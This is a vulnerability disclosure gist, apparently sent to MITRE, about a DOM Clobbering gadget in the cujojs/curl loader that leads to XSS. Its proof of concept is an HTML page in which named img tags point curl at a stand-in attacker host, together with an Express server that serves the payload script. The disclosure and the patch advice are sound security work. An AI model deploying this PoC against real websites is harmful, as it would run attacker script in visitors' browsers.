Skip to content

Instantly share code, notes, and snippets.

@jackfromeast
Last active March 3, 2025 02:20
Show Gist options
  • Select an option

  • Save jackfromeast/97c3207451a313de5033851521f69607 to your computer and use it in GitHub Desktop.

Select an option

Save jackfromeast/97c3207451a313de5033851521f69607 to your computer and use it in GitHub Desktop.
DOM Clobbering gadget found in cujojs/curl that leads to XSS

Hi, MITRE Security team!

Summary

I have discovered a DOM Clobbering vulnerability in the cujojs/curl package. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have found similar issues in the other popular client-side libraries for building websites, including Webpack (CVE-2024-43788), Vite (CVE-2024-45812), and layui (CVE-2024-47075), which might be good references to this kind of vulnerability.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

DOM Clobbering Gadgets found in cujojs/curl

The cujojs/curl will retrieve the configuration from data attribute of the current script tag.

// https://github.com/cujojs/curl/blob/master/src/curl.js#L1133-L1139
findScript: function (predicate) {
  var i = 0, scripts, script;
  scripts = doc && (doc.scripts || doc.getElementsByTagName('script'));
  while (scripts && (script = scripts[i++])) {
    if (predicate(script)) return script;
  }
}
// https://github.com/cujojs/curl/blob/13170edcbeb9dc55c48ea00e5fec890eec75b59f/src/curl.js#L1141-L1155
extractDataAttrConfig: function () {
  var script, attr = '';
  script = core.findScript(function (script) {
    var run;
    // find data-curl-run attr on script element
    run = script.getAttribute(bootScriptAttr);
    if (run) attr = run;
    return run;
  });
  // removeAttribute is wonky (in IE6?) but this works
  if (script) {
    script.setAttribute(bootScriptAttr, '');
  }
  return attr;
}
bootScript = core.extractDataAttrConfig();
	// wait a bit in case curl.js is bundled into the boot script
	if (bootScript) core.nextTurn(core.bootScript);
// https://github.com/cujojs/curl/blob/13170edcbeb9dc55c48ea00e5fec890eec75b59f/src/curl.js#L691-L742
loadScript: function (def, success, failure) {
  // script processing rules learned from RequireJS
  // TODO: pass a validate function into loadScript to check if a success really is a success

  // insert script
  var el = doc.createElement('script');

  // initial script processing
  function process (ev) {
    ev = ev || global.event;
    // detect when it's done loading
    // ev.type == 'load' is for all browsers except IE6-9
    // IE6-9 need to use onreadystatechange and look for
    // el.readyState in {loaded, complete} (yes, we need both)
    if (ev.type == 'load' || readyStates[el.readyState]) {
      delete activeScripts[def.id];
      // release event listeners
      el.onload = el.onreadystatechange = el.onerror = ''; // ie cries if we use undefined
      success();
    }
  }

  function fail (e) {
    // some browsers send an event, others send a string,
    // but none of them send anything useful, so just say we failed:
    failure(new Error('Syntax or http error: ' + def.url));
  }

  // set type first since setting other properties could
  // prevent us from setting this later
  // actually, we don't even need to set this at all
  //el.type = 'text/javascript';
  // using dom0 event handlers instead of wordy w3c/ms
  el.onload = el.onreadystatechange = process;
  el.onerror = fail;
  // js! plugin uses alternate mimetypes
  el.type = def.mimetype || 'text/javascript';
  // TODO: support other charsets?
  el.charset = 'utf-8';
  el.async = !def.order;
  el.src = def.url;

  // loading will start when the script is inserted into the dom.
  // IE will load the script sync if it's in the cache, so
  // indicate the current resource definition if this happens.
  activeScripts[def.id] = el;

  head.insertBefore(el, insertBeforeEl);

  // the js! plugin uses this
  return el;
}

However, the document.scripts lookup can be shadowed by an attacker injected non-script HTML elements (e.g., ) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

1/ Download the curl from the github.

git clone https://github.com/cujojs/curl.git && cd curl

2/ Create a HTML pape as the poc.html:

<html>
<body>
  <img name="scripts" src="http://attacker.controlled.com" data-curl-run="http://attacker.controlled.com">
	<img name="scripts" src="http://attacker.controlled.com" data-curl-run="http://attacker.controlled.com">
	<script src="./curl/dist/curl/curl.js">
</body>
</html>

3/ One could setup the attacker server like :

const express = require('express');
const path = require('path');
const app = express();
const port = 9999;

app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', '*');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
  res.setHeader('Content-Type', 'application/javascript');
  next();
});


app.get('*', (req, res) => {
  res.sendFile(path.join(__dirname, 'alert.js'));
});


app.listen(port, () => {
  console.log(`Attacker Server listening on http://localhost:${port}`);
});

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that integrate curl and allow users to inject certain scriptless HTML tags without properly sanitizing the name attributes.

Patch

We recommend replacing document.scripts with document.getElementsByTagName('script') for referring to script elements. This will mitigate the possibility of DOM Clobbering attacks leveraging the name attribute.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment